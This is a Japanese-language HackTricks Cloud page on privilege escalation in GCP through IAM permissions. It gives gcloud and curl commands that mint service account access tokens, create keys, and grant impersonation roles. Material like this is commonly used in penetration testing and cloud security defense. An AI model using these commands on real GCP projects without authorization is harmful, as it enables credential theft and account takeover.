GCP - IAM Privesc

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

IAM

IAMに関する詳細情報は以下を参照してください：

GCP - IAM, Principals & Org Policies Enum

`iam.roles.update` (`iam.roles.get`)

上記の権限を持つ攻撃者は、あなたに割り当てられたロールを更新し、他のリソースへの追加権限を付与することができます：

bash

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

ここに脆弱な環境の作成、悪用、クリーンアップを自動化するスクリプトがあります。また、この特権を悪用するためのPythonスクリプトはこちらです。詳細については、元の研究を確認してください。

`iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)

言及された権限を持つ攻撃者は、サービスアカウントに属するアクセストークンを要求することができるため、私たちよりも多くの権限を持つサービスアカウントのアクセストークンを要求することが可能です。

bash

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

スクリプトを自動化するための脆弱な環境の作成、悪用、クリーンアップはこちらで見つけることができ、特権を悪用するためのPythonスクリプトはこちらです。詳細については、元の研究を確認してください。

`iam.serviceAccountKeys.create`

前述の権限を持つ攻撃者は、サービスアカウントのユーザー管理キーを作成することができ、これによりそのサービスアカウントとしてGCPにアクセスできるようになります。

bash

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

スクリプトを自動化するための脆弱な環境の作成、悪用、クリーンアップはこちらで見つけることができ、特権を悪用するためのPythonスクリプトはこちらにあります。詳細については、元の研究を確認してください。

iam.serviceAccountKeys.updateはSAのキーを変更するためには機能しないことに注意してください。これを行うには、iam.serviceAccountKeys.createの権限も必要です。

`iam.serviceAccounts.implicitDelegation`

iam.serviceAccounts.implicitDelegationの権限を持つサービスアカウントが、別のサービスアカウントに対してiam.serviceAccounts.getAccessTokenの権限を持っている場合、implicitDelegationを使用してその第三のサービスアカウントのトークンを作成することができます。説明を助けるための図は以下の通りです。

ドキュメントによると、gcloudの委任はgenerateAccessToken()メソッドを使用してトークンを生成するためにのみ機能します。したがって、APIを直接使用してトークンを取得する方法は以下の通りです：

bash

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

スクリプトを見つけることができます 脆弱な環境の作成、悪用、クリーンアップの自動化はこちら と、この特権を悪用するためのPythonスクリプト こちら。詳細については、元の研究を確認してください。

`iam.serviceAccounts.signBlob`

言及された権限を持つ攻撃者は、GCPで任意のペイロードに署名することができる。したがって、SAの署名されていないJWTを作成し、それをブロブとして送信してターゲットにしているSAによってJWTに署名させることが可能です。詳細については、こちらをお読みください。

スクリプトを見つけることができます 脆弱な環境の作成、悪用、クリーンアップの自動化はこちら と、この特権を悪用するためのPythonスクリプト こちら と こちら。詳細については、元の研究を確認してください。

`iam.serviceAccounts.signJwt`

言及された権限を持つ攻撃者は、適切に形成されたJSONウェブトークン（JWT）に署名することができる。前の方法との違いは、JWTを含むブロブにGoogleに署名させるのではなく、すでにJWTを期待しているsignJWTメソッドを使用することです。これにより使用が容易になりますが、任意のバイトではなくJWTのみを署名できます。

`iam.serviceAccounts.setIamPolicy`

言及された権限を持つ攻撃者は、サービスアカウントにIAMポリシーを追加することができる。これを悪用して、サービスアカウントを偽装するために必要な権限を自分に付与することができます。次の例では、興味のあるSAに対してroles/iam.serviceAccountTokenCreatorロールを自分に付与しています：

bash

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

スクリプトを自動化するための脆弱な環境の作成、悪用、クリーンアップはこちらで見つけることができます。

`iam.serviceAccounts.actAs`

iam.serviceAccounts.actAs権限は、AWSのiam:PassRole権限に似ています。これは、Compute Engineインスタンスを起動するなどのタスクを実行するために不可欠であり、サービスアカウントとして「行動する」能力を付与し、安全な権限管理を確保します。これがなければ、ユーザーは不当なアクセスを得る可能性があります。さらに、iam.serviceAccounts.actAsを悪用するには、さまざまな方法があり、それぞれに一連の権限が必要であり、他の方法は1つの権限だけを必要とするのとは対照的です。

サービスアカウントの偽装

サービスアカウントを偽装することは、新しいより良い権限を取得するために非常に便利です。他のサービスアカウントを偽装する方法は3つあります:

RSA秘密鍵を使用した認証（上記で説明）
Cloud IAMポリシーを使用した認可（ここで説明）
GCPサービスでのジョブのデプロイ（ユーザーアカウントの侵害により適用される）

`iam.serviceAccounts.getOpenIdToken`

前述の権限を持つ攻撃者は、OpenID JWTを生成することができます。これらはアイデンティティを主張するために使用され、リソースに対する暗黙の認可を必ずしも持っているわけではありません。

この興味深い投稿によると、オーディエンス（トークンを使用して認証したいサービス）を示す必要があり、サービスアカウントとJWTのオーディエンスを示すgoogleによって署名されたJWTを受け取ります。

アクセスがあれば、OpenIDTokenを生成できます:

bash

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

それから、次のようにしてサービスにアクセスできます:

bash

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

この種のトークンを介して認証をサポートするサービスには、次のものがあります：

Google Cloud Run
Google Cloud Functions
Google Identity Aware Proxy
Google Cloud Endpoints (Google OIDCを使用している場合)

サービスアカウントの代わりにOpenIDトークンを作成する方法の例は、こちらで見つけることができます。

参考文献

https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

tip

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

HackTricks Cloud